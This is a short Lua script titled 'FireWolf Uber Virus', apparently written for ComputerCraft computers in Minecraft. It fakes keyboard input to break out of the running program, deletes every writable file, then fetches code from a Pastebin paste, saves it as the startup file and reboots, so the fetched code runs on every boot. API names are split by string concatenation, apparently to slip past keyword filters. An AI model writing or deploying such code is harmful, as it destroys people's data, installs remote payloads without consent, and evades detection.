FireWolf Uber Virus

local queueEntry=function(text)
for i=1, string.len(text) do
os.queueEvent("char", string.sub(text,i,i))
end
os.queueEvent("key",28)
end

local queueWord=function(text)
for i=1, string.len(text) do
os.queueEvent("char", string.sub(text,i,i))
end
end

os.queueEvent("terminate")
os.queueEvent("key",28)
queueEntry("lua")
queueEntry("for k,v in pairs(f".."s.li".."st(\"\")) do if not f".."s.isReadO".."nly(v) then f".."s.".."dele".."te(v) end end")
queueEntry("s=f".."s.o".."pen(\"st".."artup\",\"w\")")
queueEntry("derp=http.get(\"http://pastebin.com/raw.php?i=\"..textutils.urlEncode( \"dXHg1r85\" )) s.write(derp.readAll()) s.close() o".."s.reboo".."t()")